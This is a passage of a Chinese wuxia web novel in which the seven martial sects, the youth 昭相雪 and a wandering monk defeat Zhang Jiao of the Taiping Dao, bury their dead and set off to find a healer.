长剑刚刚汇聚,便飞速冲向张角,此等速度可不是人力能躲掉的,纵使杜菱施展《白菱神功》也绝不能躲过,除非有鬼岐那样的瞬移能力,倒是能够躲下一时,但剑是会追踪的,躲过一时,并不能破解此法! 当下,张角愣住了,他完全没料到孤殇和沧海的一成内力,竟能施展出,如此恐怖的杀招来! 一成内力真的能吗?其实不然,孤殇和沧海施展功法耗的都已不是单纯的内力,乃是动了元气!所谓元气,是指比精血更珍贵之物,一般来说,元气是与生俱来的,随着修炼的提升,元气也会缓慢提升,并藏于体内,一般人发现不了,但修为高的人能发现它们,并使用它们,它们可比一般都内力厉害许多。但元气的使用有个很大弊端,一但耗用,很难补充,像孤殇他们刚才施法耗用的元气,估计不用上个五六年,是很难补充回来的,同时,元气低下时,内力也将无法有效凝聚。换个说法,眼下,这五六年里,孤殇和沧海都将废若凡人,不能再施展任何功力了。 此时,孤殇和沧海刚施展完功法,元气大伤,都盘坐着,不能动弹一步,稍有差池便会元神具灭,爆体而亡! “保护孤殇长老和沧海大师。”杜菱对七大门派的高手们说道,很快,众人都分别围在了孤殇长老和沧海大师旁边,场上,黄巾贼也分散为两部分,围着七大门派。 当下,长剑啸天,直取张角,张角自知躲闪不过,大喊道:“来吧!让我看看你的威力!”双掌向前一推,内力直接注入了五成多,身前迅速形成了一股灵力罩想以此抵挡长剑,但万万没料到的是,长剑竟直接刺破了灵力罩,飞速旋转着,继续刺向里面,张角虽是一惊,但很快调整了下,分出一部分灵力去包裹长剑,此时,长剑全身都处于张角灵力的阻隔之中,速度还真慢了不少,但仍然没有停下的趋势。 眼看长剑离自己身体越来越近,张角也不能再犹豫了,又注入了三成内力,灵力罩瞬间强韧了不少。随着消耗,长剑的磨损也极为严重,黑色渐渐褪去。慢慢只剩下紫色,张角嘴角轻蔑一笑,似在为自己胜利的庆贺。 哪知道,这才只是个开始,黑色全部被磨去之时,长剑突然变得更加锋利,此时的长剑剑身全部是闪电和剑气了,不锋利才怪,当下,没等张角反应过来,长剑便光速穿过了灵力罩,直接刺进张角体内。 张角面色凝重,捂着腹部,口吐鲜血,盘坐在地。 毫无疑问,联合杀招击中了张角,但可惜的是,光速撕开灵力罩,将剑上的闪电消耗殆尽,所以,此时刺中张角体内的,只不过是一些剑气罢了,但这些剑气伤害也不小,《凌空剑法》七元归一,七柄长剑汇至一体,威力本就不凡,更何况,孤殇可是在里面注入了大量元气的,当下虽被灵力磨损过半了,但剩下的全部刺进张角体内,那也不是个小事儿。 见张角受了重伤,众人皆重燃起斗志,张延提起长枪,大喊一声,一枪当先冲向黄巾贼,众人紧随其后,迅速向外突杀,包围圈慢慢向外扩张,但却始终没能撕开一个口子,门口的黄巾贼更是只增不减!一番拼杀之后,张延寡不敌众,被多人砍杀,只得后撤。 这时,青菱师太用尽最后一成内力,施展起《白菱神功》向门口突杀过去,瞬息间便撕开个口子来,七大门派的高手们赶紧跟上,朝门口杀去。 “哪里走!”没想到,这大贤良师张角没盘坐多久,便平息好伤势,向大门口杀去,只一掌,便将身困体乏的青菱师太击飞数米远。 当下,张角也不纠缠,直接冲向了人群中盘坐的沧海,此时的沧海已是毫无反抗之力,根本左右不了战局!但张角那管这些,他只知道一个道理,趁你病,要你命!一旁的关伟和张延想要阻挡,但此时,内力耗废巨大、浑身是伤的他们,又如何能是张角的对手,只两掌便统统被拍倒在地,江雨潇和其他想帮忙的弟子也被拍倒在地。 苏起和枯恂正保护着孤殇,眼看江雨潇倒地、沧海势危,枯恂赶忙前去帮忙,但为时已晚,张角已至沧海一粟身前,六名白马寺的弟子用身体挡在沧海面前,沧海自知回天乏术,不想在有无谓的牺牲,颤颤巍巍说道:“别管我,快走。”说话的声音虽然低了些,但这六名弟子肯定是听得见的,白马寺的弟子那是出了名的尊师守命,但这次,这些弟子没有听从师命,他们六个长棍紧握,横在身前,为了师傅,做出他们生命中最后的抵抗。那又如何呢?弱者在真正的实力面前一文不值!张角两掌向前猛的一推,沧海一粟连着那六名弟子,一起被击飞出去,此时的沧海元气大伤,再受张角这两掌,想来,必死无疑了。 前来帮忙的枯恂大怒,提剑直刺张角,但他也不是其对手,张角回身一掌,又将枯恂也击倒在地,接下来,便是杀孤殇了! 看着张角杀来,苏起丝毫不怯,云霄九剑第七式起,七柄虚剑直取张角。张角右手一吸,地上的法杖重新回到他手里,一边向孤殇走来,一边挥动法杖向前横扫,只见法杖中飞出一波波气刃将那些剑气统统抵消,接着,法杖再是狠狠一挥,一波巨大的气刃向苏起击去,苏起将剑横在身前,想要挡下,但根本阻挡不住,气刃直接击断了苏起的长剑,重重的拍在他身上,将其击飞在地。 这时,张角收起了法杖,挥掌直取孤殇,此时照顾孤殇的只剩于婉,于婉丝毫不怯,挺身横挡在孤殇身前。 张角冷哼一声,看着于婉,没有丝毫留情:“一起死吧!” 第三十三章 刀俎鱼肉 “不!”看着张角挥掌击向于婉,伤倒在地的青菱师太也顾不得身上的伤了,急施《白菱神功》欲替于婉挡下那掌,但眼下,远在几十米外的她,哪里追得上去! 当下,张角傲视群雄,无人能敌,七大门派的高手内力都已消耗殆尽了,打个普普通通的黄巾小兵、自保都废力,又哪有什么能耐去救孤殇、于婉呢?此时的七大门派,就像刀板上的鱼肉只能任由太平道宰割。 于婉微笑着闭上了眼,显然她已看透了生死,知道了自己结局。 众人也都转过头去,不忍看到一代宗师孤殇道长惨死的一幕。只听一声巨响传来,众人再回过头,只见孤殇长老仍安然无恙的盘坐在地,而于婉则跌坐在一旁,挡在身前的是一个不知名的少年! 少年姓陈名昭,化名,昭相雪。 只见昭相雪和张角双掌相对,竟在比拼内力!更恐怖的是,两人的实力竟是不相上下的样子!且不说不识昭相雪的众人大惊,连认识昭相雪的江雨潇、于婉等人也是一脸诧异,他们一直认为,昭相雪只是刀法卓绝,但绝无内力的平凡人,保守估计,内力修为不会超过上乘二阶,当下,谁也没料到,昭相雪竟能和拥有霸道《太平经》内力的张角相对,并立于不败之地!要知道,张角的内力修为可是御境二阶,难不成,昭相雪一直在隐藏实力?不应该啊,昭相雪年纪轻轻的,不至于啊!御境二阶可不是想练就能练成的,据听风阁调查,放眼整个中原武林,内力达到御境二阶以上,记载在册者,不过三人耳: 凌云谷叶述:化境二阶、凌云谷谷月清:御境二阶、凌云谷于吉:御境二阶、再算上太平道张角:御境二阶,现在恐怕还得加上个昭相雪(这里所列者乃是内力境界达御境二阶着,且只是中原武林,若是看综合实力,李御风、青菱师太、寒岩阁主王绾三人也在御境二阶高手之列。魅影教实力未知,暂不统计) 事实上,昭相雪现在的修为,岂止御境二阶! 昭相雪本意是推开于婉,一命换一命,没成想,随便一伸手,竟接下了张角的攻击。 “昭相雪?”于婉被推倒在地后,看着眼前这幕,惊呆了,这真是他认识的那个昭相雪? 昭相雪听到于婉在叫自己,竟然一边与张角比拼内力,一边还回过头去,看向于婉,温柔的说道:“你没受伤吧。” 于婉摇了摇头:“别管我,你快走吧,你打不过他的。” “婉姑娘,你放心,我答应过枯兄,一定会保你平安的!” 现下情景,简单概括,江湖愣头青vs御境二阶超级高手,怎么看都是找死啊,于婉有些急了:“你快走啊,你不是说过,你大仇未报,你的命比我金贵嘛,快走啊!” 昭相雪微微一笑,摇了摇头,一脸严肃,已然做好了英勇就义的准备。 但打着打着,昭相雪面色和缓了,这传说中的大贤良师,好像很一般马!此时,张角和昭相雪看起来是五五开,但事实上,昭相雪却丝毫没觉得费力,眼下,他那太平清领功法正悄无声息的发挥着作用,源源不断的从外界吸收灵力,并补充到身上。而对面的张角却吃不消了,想不到这个年轻小伙子的内力竟如此充沛,仿佛无底洞一般深不可测,源源不断的补充到掌上,比消耗只怕会占下风。干脆,加大力度,一击毙命好了。 如果说,刚才的攻击,张角只用了一成功力,那他现在,直接加到了三成!巨大的压力瞬间传来,昭相雪向后退了两小步,但仍然挡下了,随着张角内力的加重,昭相雪同样也加重了内力!不同的是,他并没有熟练控制内力的能力,猛一拉升,竟然直接使出了六成内力到掌上!!!当下张角毫无防备,直接被巨大的掌风拍飞出五米远,重重的跌到地上。 张角跌倒在地,又马上爬了起来,虽然受了重伤,但气势不能输:“小子,你是何门何派何人?” 昭相雪客气的答道:“晚辈先前乃是白波堂主手下的一方渠帅,名叫昭相雪。” “既是我派弟子,何故对我出手。”张角拍拍身上灰尘,分外恼火。虽是嘴上这么说着,但他显然不信昭相雪的这套说辞,凭昭相雪这身内力,岂能安心屈居于马元义手下。 当下,众人见张角被击倒在地都惊住了,黄巾军们也都停了下来,围而不攻。七大门派的人一脸震惊,不敢轻举妄动,不过眼下这个叫昭相雪的年轻人,看行为举止,应该是个正派人士。然而,当他们听到昭相雪介绍自己是太平道的人时,个个都慌了。是敌是友,一时变得难以判断。 接着,昭相雪又说道:“我想道长误会了,太平道与天下百姓为敌,所以,不久前,我已脱离太平道,现在只不过是江湖一散人耳。”接着,昭相雪一脸杀气的说道:“身为汉民,太平反贼,自是人人得而诛之!” 听了这话,七大门派悬着的心终于能放下了,神情缓和许多,而张角则是气急败坏,提起法杖,便冲向昭相雪。 “太平秘法第四重——扶摇招风!”张角法杖挥了挥,一阵邪风瞬起,向昭相雪吹去。 昭相雪毫不躲闪,竟拿着剑,模仿起张角的招式,向前挥了挥也喊道:“太平秘法第四重——扶摇招风。”竟也招出一阵邪风来,而且这邪风比张角所招的更大更急,两风相撞,张角所招的邪风直接被吞了去。 张角急闪躲过,但身后的黄巾军们可没那么幸运了,顷刻间,几十人被邪风击倒。 “大胆,竟敢偷学老夫的《太平经》!”现下,张角是又气又怕,想不到,眼前这个年轻人,竟然跟自己一样用的是《太平经》功法,但他百思不得其解,为何都是《太平经》,这个少年的功法却处处在自己之上。 昭相雪看着自己这身强大的功法,以为全部来自于之前密室之内看到的那本手抄书,他哪知,使他强于张角的,其实是小时候无聊翻看的那本《太平清领书》。 张角自知比不过昭相雪,但他还留了一手杀招,虽然打不过昭相雪,但还可以,同归于尽。 “太平秘法第五重——磅礴唤雨”张角法杖向天挥了几下,天空瞬间乌云密布。 “太平秘法第五重——磅礴唤雨”昭相雪也模仿着张角的动作,挥了几下剑,天上乌云更多了,瞬间下起磅礴大雨来。因为昭相雪只见过《太平经》的前三重,而后三重并不会,但通过之前的交战,他知道自己的内力强于张角,他并没想到是《太平清领书》的缘故,还以为是因为张角在之前的战斗中损耗了大量的内力,才不如他的,所以,无论张角对自己出什么招式,他只管模仿即可,就好像他的第四重,能够击败张角的第四重一样,但他不知道的是,此时张角施动的功法,并不是针对昭相雪个人,而是针对在场的所有人,包括七大门派和太平道众,当然,也包括张角他自己。 眼下,众人都被雨水冲洗着,这些雨水并没有伤害,看起来,好像第五重很废的样子,事实上,单看第五重确实挺废,但如果配合第六重,那将是毁天灭地的大杀招! 此时的张角看着上当的昭相雪,冷冷一笑,一切都在他的预料之中,一切也都在他的控制之中了。这冷冷的一笑让昭相雪很是不爽,之前的第五重,只招来这不痛不痒的一场大雨,已经让昭相雪很是疑惑了,而此时,张角这阴狠的冷笑更是让昭相雪头皮发麻。昭相雪在心里吐槽道:“我倒要看看,你这葫芦里到底卖的些什么药。” 接着,张角又开始挥动法杖,舞了几式,最后向天一指,昭相雪虽有犹豫,但最终还是模仿起来,学着张角的招式,舞了几下,最后剑指苍天。 这时,天空突然电闪雷鸣起来,张角大喊:“太平秘法第六重——以我精血为引,以我肉身为躯,天雷!寂灭!”霎时间,雷电交相呼应,全部向地下击来! 第三十四章 临渊祭天 帅府十里之外,鬼岐和于吉正缠斗着。 两人近身武艺相等,打了十几个回合,胜负难分,于是都退后几步,歇息起来。 “你我武艺相等,再打下去也分不出胜负,我看,还是比比法术吧。”鬼岐假装客气道。 “也好。”于吉答应下来,确实再缠斗下去意义不大。 “凌空剑法第六式——七元卸甲”“云霄九剑第七式,啸洪噬地” 当下两边各飞出七柄虚剑来,十四柄剑缠斗在一起,云霄九剑这边是第七层功法,理论上,是要强与凌空剑法第六层的,但鬼岐这边毕竟有神剑七魂剑的加持,所以两边的法力相当,又是胜负难分,十四柄剑互相磨耗,全部消散殆尽了。 “法术也胜负难分?”鬼岐小声嘀咕道,接着又施出了凌空剑法第六式:“七元卸甲!”七柄飞剑再飞出,直取于吉,看起来,这次的功力倒是比上次的大得多,飞剑速度明显快了不少,于吉见状也不退让,长剑向前挥了几下,也施展了剑法:“云霄九剑第七式—啸洪噬地!”七柄长剑飞出。 鬼岐邪蔑一笑:“看来,还是我赢了啊。”话罢,轻功一施,闪至于吉身后,此时,于吉刚施展完功法,根本来不及收剑回防,而鬼岐的七魂剑已至身后马上就要刺到于吉了。 “再见了,朋友”鬼岐提剑刺去。 不过诧异的是,于吉丝毫不慌,居然还轻蔑的笑了笑,似乎这一切,全在他的意料之中。但眼下,即使是在意料之中,也无济于事,轻功再高,也绝躲不开这一剑的,除非,他根本没打算躲开这剑! 只见于吉脚下突然冒出一柄沙土形成的虚剑,直刺鬼岐首级,鬼岐大惊,哪还敢向前刺杀于吉,急忙回剑格挡,这时,于吉回过身猛的朝鬼岐腹部拍去一掌,那掌虽没近身,但鬼岐还是被掌气所伤,被击退数米远。 原来,于吉方才施展的并不是云霄九剑第七式,而是第八式,第八式幻化的虚剑可不止七柄,而是八柄。当下,于吉假装释放的是第七式,目的就是为了让鬼岐掉以轻心,继而将第八柄砂石剑藏于地下,在追击鬼岐时,他便注意到鬼岐这身诡异的轻功,一直在思考对策,所以,他故意隐藏起第八柄剑,而施法时自身又故意向前伸直,正是为了卖个破绽,引鬼岐上钩。 鬼岐受此一掌,虽伤得不重,但也不轻,再想施展轻功逃跑,那肯定是不可能的,不过,要想就此分个胜负也不容易。 鬼岐被摆了一道,很是不爽,嘴炮道:“凌云谷自诩名门正派,暗地里却使这种卑鄙伎俩,不觉得可耻吗?” 于吉笑道:“哪是什么卑鄙伎俩,我这叫,害人之心不可有,防人之心不可无!你不偷袭我,又怎会中我这掌呢?”。 鬼岐气急败坏,一时语塞,提剑冲向于吉,于吉也不多话拔剑迎击。突然,几枚暗器飞出,直击于吉,于吉向后急退躲过,鬼岐见了暗器,也停下脚步,不再前冲。 偷袭者,乃是一个带着墨色斗篷的神秘人。 鬼岐眉头一皱,恭敬道:“御守使大人。” 那神秘人轻轻点了点头,挥手示意他赶紧离开。 鬼岐见状也不多话,赶紧撤去。此时,那神秘人挡在身前,于吉要想追击,就得先打倒这个神秘人。 如今鬼岐受伤,状态不佳,此时不夺回七魂剑,更待何时!于吉提起剑,冲向那老者,一边冲,一边挥了两下剑,两道剑气波向那神秘人击去。 神秘人丝毫不怯,右手向前轻轻一挥,那两道剑波竟凭空散去!与此同时,于吉前进的速度也慢了许多,仿佛,有一道飓风从前方压来,莫名有窒息之感! 于吉大惊,冷汗直冒,暗思道:“这厮内力高深,竟能在瞬息间不费吹灰之力化掉我的法术,至少得是御境一阶!这人,莫非是传说中的魅影教主骷魅!不对,鬼岐说的很清楚,他只是魅影教的御守使,那如此说来,教主实力启不更甚!”于吉呆在原地,不敢轻举妄动。 神秘人突然感慨道:“小豆子,你老了。”话罢,那神秘人也不纠缠,转身退去。 这下于吉更惊了,‘小豆子’乃是他小时的外号,难不成眼前这人与自己是旧识?儿时的玩伴?从鬼岐的反应来看,那老者必然在魔教身居高职,以他的实力,要杀自己,易如反掌,或许真是旧识,不然怎会手下留情。 帅府内: 当下,七大门派和太平道的人皆被大雨淋湿,满天的落雷击来,顺着雨水对雷电的传导,瞬息间,在场的所有人都将被天雷击杀,昭相雪听到张角要召唤天雷,显然也意识到了接下来会发生的事,但此时他早已经模仿着张角的动作,使出了第六重功法,局势已经到了不可挽救的地步。 “张角,你个疯子,难道你想让你太平道的弟子也跟着一起死吗?”昭相雪喊到。 张角仰天狂笑:“太平道弟子遍布天下,死了这几千人,外面还有几十万!今日,若能将天下众派的精英尽数击杀于此,他日,太平道夺取天下便是易如反掌!” “无耻!”昭相雪将内力全注入掌中,挥掌直取张角。张角也挥掌迎上去,然而他并不是昭相雪的对手,直接被击飞了十多米远,倒在地上,口吐鲜血,此时《太平经》的第六重功法开始发效,因为是两人的合力,再加上昭相雪《太平清领书》的加持,漫天紫云闪电,瞬息间,数百道天雷同时劈向地面。看着这幕,张角闭上了眼,等待死亡,凭一己之力,用几千黄巾小兵的命,换天下精英的命,值了! 当下,数百道天雷同时落下来,众人都没有内力,绝没有击散它们的能力,而昭相雪虽有霸道内力,但击散几道还行,同时击散数百道天雷,怕是只有神仙才能做到吧,索性也瘫坐在地,看着于婉,苦苦一笑,等待死亡。 这时,空气中似传来一声龙啸,那本该落地的天雷,半空中竟汇聚在一起,不止这数百道,云层中夹杂的所有闪电都被抽离出来了,万千雷电汇聚在一起,竟形成一条巨大的雷龙来。听见异动的张角睁开眼,看见天空中盘旋的巨型雷龙,大惊失色,还以为是神仙显灵了,连忙从地上爬起,跪倒在地,此时,本以为必死无疑的众人也被眼前的情景震惊了,也都跪在地上,感谢神灵相救。 这天下,哪儿来的什么神灵!只见,一个头戴草制斗笠,身披棕色蓑衣的老者缓缓走向张角,那老者手里拿了根枯木禅杖,像个山野老农,又像个得道高僧,那老者走到张角身前,张角低下头,不敢出声。 老者压着怒火,厉声问道:“沧海方丈,是你所杀?” 在这无形的威压之下,张角不敢撒谎,惊恐的点点头,不料,没待他反应过来,老者禅杖一挥,直接将张角打到十米高空中,此时,那雷龙正好俯冲飞过,一口咬中张角,衔着他在空中盘旋了足足三圈,最后吐出张角,飞走了。 乌云渐渐散去,张角从上空落下,早焦得没了人样。黄巾军余众见张角已死,都放下了兵器。七大门派的注意力全在那位神秘僧人和英雄少年昭相雪的身上,此时,昭相雪还瘫坐在地,眼前这一幕太震惊了,得缓缓。 那老僧上前扶起了昭相雪,问道:“年轻人,没事儿吧。” 昭相雪看着眼前的这位神僧,只想问他一句,你到底是人是神啊?但他没敢问,只木木的答了句:“没,没事儿。” 这位僧人来头可不小,乃是沧海一粟的师兄——秋殇一叶,曾是白马寺祈野方丈座下大弟子,武功高强,深得祈野方丈真传,不出意外,本该成为下一任方丈,但秋殇杀气太重,对待为非作歹、不敬佛祖者,出手即毙命,几十年前,一场误会,错杀了二十多个好人,本性善良的他,无法原谅自己的过错,回寺后便闭门不出,整日悔过,始终无法原谅自己,并多次自杀,索性,都被师父和师弟们发现,及时将他救下。后来,他便离寺出走了,白马寺的人多方打听,终是音讯全无,几十年过去了,还以为他已经早已死去。 秋殇一叶,武学天赋极高,是白马寺难得一见的武学天才,才二十几岁便已掌握《渊龙杖法》第八层,这几十年,他隐姓埋名,游历四方,只做善事,尽量避免与世俗之人打斗,游历之时,也没忘记修炼功法,二十几年前,他参悟出了《渊龙杖法》第九层,十几年前更是参悟出了《渊龙杖法》第十层!他游历到冀州时,适才听闻七大门派被黄巾贼包围了,急忙赶来查探,不料来时已晚,只见到了内力贫乏,被太平道众死死包围的七大门派,还有正在交战的昭相雪和张角,秋殇一叶一直隐藏在黄巾军中,默默的注视着周围情况,当张角施展出太平秘法第六重时,他注意到七窍流血,已然死去的沧海一粟,瞬间大怒,恰逢此时,数百道落雷击下,秋殇一叶顺势施展出《渊龙杖法》第十层——临渊祭天。将落雷和与云层中的闪电混合在一起,化为一条雷龙,将张角击杀。 当下,秋殇一叶拉起昭相雪,接着,转身走向沧海一粟,秋殇将沧海从地上背起,摇摇头,流下泪来,轻声说道:“师弟,对不起,师兄来晚了。”话罢,背起沧海向门口走去,白马寺的弟子挡在身前,想要阻拦,秋殇也不多话,摸出一块木牌,挂在脖子上,从木纹来看,是十分罕见的渊龙木,木牌上写着四个大字:“秋殇一叶。”这下,所有人都知道眼前这位神秘高僧的身份了,白马寺的僧众见了皆让开了道,跟在秋殇一叶身后,走了出去。 当下,张角已死,而七大门派中又有神一般强大的高手,院内的太平道自是不敢阻挡,而院外的太平道众们更是早就逃走,于是乎,七大门派的人毫无阻力的离开了帅府。 第三十五章 归途 冀州境内一山林中,七大门派正整齐、庄严的站在一处陵园里,这陵园是七大门派合力修的,很简陋,没有石碑,全是木牌做的灵位。埋葬的,正是此次大战中牺牲的七大门派的英烈,当然,也包括为救众人,舍身取义的白马寺方丈沧海一粟。 此刻,众人都默默的看着跟自己感情深厚但不幸逝世的师兄(弟)或师姐(妹),他(她)们抱在一起,或轻声哭泣着,或强忍着泪水喝闷酒。众人看着陵园,没待多久便离开了,毕竟他们还在冀州境内,危险之中。 当下,除了,青龙帮在徐州,不顺路单独走了以外,其余六派都跟着秋殇一叶先前往司州白马寺安顿。 白马寺是六派中最近的地方,此时,六派内力损耗都极为严重,所以,先前往白马寺休整一番也是极为必要的。 六派中,白马寺走在最前,空涧庄跟在后面,豫蛇教次之,凌云谷在次之,百药宗靠后,赤影帮最后。六派虽出了帅府,但还在冀州境内,冀州是太平道老巢,有几十万太平军,此时六大门派绝不能有丝毫松懈,敌人随时有可能突然杀出,反扑、报仇。 于婉快步追上青菱师太,作揖道:“方才,多谢师太救命之恩。” 青菱师太笑了笑:“跟我还客气?你小时候,可没少给我添乱。” 于婉有些懵:“不会吧,咱们小时候见过?” “怎么,你不不认得我?”青菱师太一边说着,一边取下面纱。 于婉盯着青菱师太看了许久,美,属实是美!绝美!莫不是天女下凡,确实很熟悉,好像见过,但确实想不起小时与她有过交际:“认得,当然认得,青菱师太好。” 师太微微一颤,问道:“我听说,你是八岁才拜入凌云谷的。” “是的。” “那,八岁以前呢?你在哪儿?父母是谁?” 于婉摇了摇头。 青菱师太笑了笑:“不愿说吗?又不是什么武林机密。” “不是,师太,你有所不知,我八岁时出过一场意外,脑子受过伤,八岁前的记忆,全然不记得了。” “原来如此。”青菱师太点点头:“失忆了好啊,有些事,忘了更好。” 于婉:“才不好呢,我总感觉,那几年对我很重要,我忘了很重要的人,忘了很重要的事,师太,你真的见过幼时的我吗?你确定那是我?” “当然,你这双眼睛和你娘,简直一模一样,我和你娘是十多年的旧友了,绝不会认错!” “真的?那你给我讲讲,我小时候的事儿呗。” 青菱师太顿了顿:“真要听啊?有些事,还是忘了好。” “那,我问你几个问题好吧?” “好啊,你尽管问。” “我爹是谁?我原名叫什么?” 青菱师太摇了摇头:“这我不能告诉你,你爹现在是朝廷钦犯,你也是,知道这些,对你没有好处。” “朝廷钦犯?我爹是逆贼歹人?” “非也,你爹乃当世豪杰,仗义疏财,江湖颇有赞誉!好了好了,别套我话了,换个问题。” 于婉追问道:“这么多年来,我爹娘为何不来找我?” 师太静默许久,眼眶中似有泪珠打转:“十六年前……”欲言又止:“婉姑娘,过去的事就让他过去吧,你爹娘有他们的苦衷,别怪他们。” “师太,你如实告诉我,我爹娘是不是已经离世了!” 师太摇摇头,默默流下泪来:“我,我不知道,既然你已经忘掉往事,那就别再追忆了。” “师太,我还有最后一个问题,我以前,怎么称呼你的?” 师太静静看着于婉,微微一笑:“菱姨。” “菱姨?那我以后也可以这样叫你吗?” “当然,永远可以。” “她们在聊什么啊?”跟在青菱师太身后的江雨潇,只看见师傅和于婉一直在说个不停,但却听不清她们具体在说些什么,所以,问道旁边的昭相雪。 昭相雪反问道:“不知道啊,我还想问你呢。” 江雨潇顿了顿:“你内力那么深厚,这么近都听不清他们讲的话吗?” “哎,江姑娘,我的内力可不是用来偷听别人讲话的。” “还是个正人君子啊,对了,你刚才真厉害,三两下便把张角打倒了,佩服佩服。”江雨潇突然夸奖起来,昭相雪受宠若惊。 “啊,还好吧,我也就是在模仿张角的功法,依样画葫芦罢了。” “你就别谦虚了,之前看你挺羸弱的,好像也没多少内力啊,怎么真正打起来,这么厉害?你到底是何方神圣,哪个门派的啊。” 这可把昭相雪问住了,看着满脸期待的江雨潇,昭相雪说自己无门无派,她肯定是不会相信的,但他真就无门无派啊。 “我,保密,师傅说了,不能在外提他老人家的名号,得保密!”昭相雪灵机一动,瞎扯道。 “哎哟,小气鬼,这有什么不能说的,你告诉我,我绝不告诉别人。”江雨潇继续套话道。 “那不行,这是原则问题!做人得讲诚信,师傅说了不让提名号,就坚决不能提名号!”昭相雪想到,我是无师自通的,师傅既是书本,也是自己,我自己不准自己说出去,不算是瞎扯吧。 这还不算瞎扯,那什么算瞎扯?! “切,不说也罢,不过,你舍身挡在孤殇道长面前的样子真帅!”说完这话,江雨潇竟莫名脸红了。 昭相雪听后,一脸得意:“低调低调,平时也很帅的好吧。” “平时也帅!都帅!” “他们在聊什么啊?笑得这么开心。”跟在昭相雪他们后面的枯恂看到江雨潇和昭相雪聊得这么开心,问道一旁的苏起。此刻,他们正用推车推着重伤昏迷的孤殇长老前行。 苏起:“不知道啊,你问我干嘛,我哪儿听得见?” 枯恂顿了顿再问道:“你内功那么强,这么近都听不清的吗?” 苏起一脸无语:“内力高强有个屁用啊,没有必然联系的好吧!” “额,这样啊。”枯恂听后想想也是,果断收回了,一直释放在外,想要用来偷听江雨潇和昭相雪说话的灵力。 第三十六章 药圣 一路上,青菱师太和于婉聊了许久,十分投机,但每当于婉追问往事时,师太都会岔开话题,往生活琐事上引。 “你们聊什么呢?聊这么久。”于吉突然插话道。 “师傅,你怎么来了?我们聊些女子间的事儿,你就别掺和了。”于婉一边说着,一边推着于吉离开。 “什么嘛,我才刚来你就赶我走?”于吉懵逼道。 “哈哈,于长老,你这个徒弟十分有趣,我与她志趣相投,相识恨晚,就多聊了些。”师太圆场道。 相识恨晚?看你们一路的亲密关系,那可不像是刚认识啊,虽然于吉心疑,但也没有追问:“哈哈,我这个徒弟可皮得狠,平日里从不听我管教,还请师太替我严加看管,多多训教些。” “哪里哪里,我看婉姑娘挺听话的啊。”师太说完便用手轻轻抚摸起于婉的长发来,于婉也是一脸笑容,没有丝毫介意。这一自然的动作却被于吉看着眼里,如此亲密的动作真的是刚认识吗? “菱姨,你真好。” 于吉严肃训诫道:“婉儿,不得无礼,你该尊她师太。” 青菱师太笑了笑:“无妨,我与婉姑娘一见如故,是我允许她这样叫的。” 于婉歪过脸,朝于吉拌了个鬼脸。 于吉摇摇头,微微一笑:“都聊一天了,差不多了啊,师太也累了,别打扰她了。” “知道了知道了,马上就走” 于吉喃喃自语道:“菱姨?难不成,师太与希霖是姊妹?朱姬杜菱!?”一边说着,一边自嘲笑起:“真是糊涂了,朱姬杜菱早被韦凌峰杀了,哪会是她,或许她们真是忘年交,不过,话说回来,青菱师太的来历,江湖上,还从未有人查清过。” 一周后,众人带着伤员来到白马寺: 此时,白马寺全寺僧众都在门口迎接着六大门派。代理住持是沧海一粟的师弟:浮生一花。 “大家快请进,舟车劳顿,一路上,辛苦了,有什么需求,大可以告诉我。”浮生住持对众人说道。 这时,秋殇一叶走过去,站在浮生一花面前。两相不语,只是紧紧抱住。 “师兄,你终于回来了。” “嗯。”简简单单一个字,却包含着秋殇一叶的万般无奈与种种辛酸。 众人并没有像之前一样聚在大堂,而是被分配到了不同的客房,修养生息了。 杜济房中,苏起正在寻医问药 杜济:“帅府之战,孤殇长老伤得可不清啊,没个三五年,很难恢复。” 苏起:“三五年?太久了吧,前辈,有什么药可以加快恢复吗?” 杜济摇了摇头:“难啊,伤了元气,寻常药物可治不了。” “孤师叔年事已高,静养三五年,只怕……” 杜济叹息两声:“孤殇长老的伤,我是帮不上忙了,不过,有一人或许可以。” “谁?” “江东药圣。” …… 枯恂:“大师兄,杜门主怎么说?我师父的伤有救吗?” 苏起:“杜门主说,他没有办法医治,但江东有个药圣或许可以。” 于婉:“药圣?我只听说过医圣杜悬,可从未听说过还有个药圣啊!江湖上有这号人吗?” 枯恂:“就是,我去过两次江东,可从未听说过江东有什么药圣啊。” 苏起:“药圣是杜悬前辈给他的尊称,杜门主说,三十年前,先师曾游历过江东,正值瘟疫横行,医圣苦治良药,终于制得良方,效果极佳,但此方所用药材极其稀缺,难以大范围推广,正当老前辈焦头烂额时,一青年登门拜访,在青年的帮助下,那几味稀缺材料,竟被换成几味寻常草药,效果虽减了些,但只要长久服用,任能痊愈,最后两人合力联手,终于将瘟疫除去。” 于婉与枯恂听罢点了点头:“挺好的,只是,好像有些偏题了。” “不偏,那段日子,杜悬前辈与药圣聊了很久,听药圣说,世界上有一种冰山雪莲,采之磨成粉,用以治疗伤及元神之人,有奇效!” 于婉:“真的?冰山雪莲?!这是何药,怎么也没听说过,真的有效吗?” “试一试不就知道了,杜济前辈有说过雪莲在哪儿吗?” 苏起摇了摇头:“他说,伤了元气的人,用药需万分谨慎,要想治好孤师叔,最好去江东寻到那药圣,向他细问。” 于婉:“江东那么大,这人海茫茫的,如何找得到,况且,这都三十年了,万一他……” 枯恂:“不会,他一定还活着,无论如何,我都会试着找到他。世上无难事,江东说大也大,说小也小,杜悬前辈既尊他为药圣,那他必是一代名医,咱们只需化作病人,寻遍江东名医,我就不信,找不到他!” 苏起点点头:“好,有魄力。” 于婉:“二师兄,我陪你一起,多个人多份力!” 枯恂点点头:“对,多个人多份力,叫上昭兄一起!” 于婉大笑道:“好啊好啊!” 苏起与枯恂相视一笑:“小师妹,你好像对昭兄挺在意的,之前你二师兄与昭相雪一起被抓,你不关心你师兄,却先关心起那昭相雪。” 枯恂趁机起哄:“还有这事儿?不会吧,小师妹,我们十几年的师兄妹了,你就这么对我?” 于婉瞬间脸红:“没有没有,我明明更关心你的好吧,大师兄瞎说的,你别信他!” “你少来,咱们都十几年的同门了,大师兄何时骗过我。” 苏起:“就是,我们正人君子好吧,从不撒谎,快说,你是不是有什么事瞒着我们!莫不是,你和那昭相雪有什么不可描述的关系?” “咦——啧啧啧” “没有没有,你们别乱说!” 枯恂一脸认真的说道:“肯定有,你看帅府大战时,张角要杀小师妹,昭兄可是命都不要了,拿身体硬抗啊!” 苏起点点头:“有道理,你看咱们小师妹长得这么水灵,声音又甜,昭相雪那小子肯定是看上咱们小师妹了。” “你们别胡说,昭少侠有夫人了!” 苏起:“有夫人?” 枯恂:“那可惨了啊,惨了惨了!” 苏起:“惨了惨了!” “真的惨!” “确实是惨!” 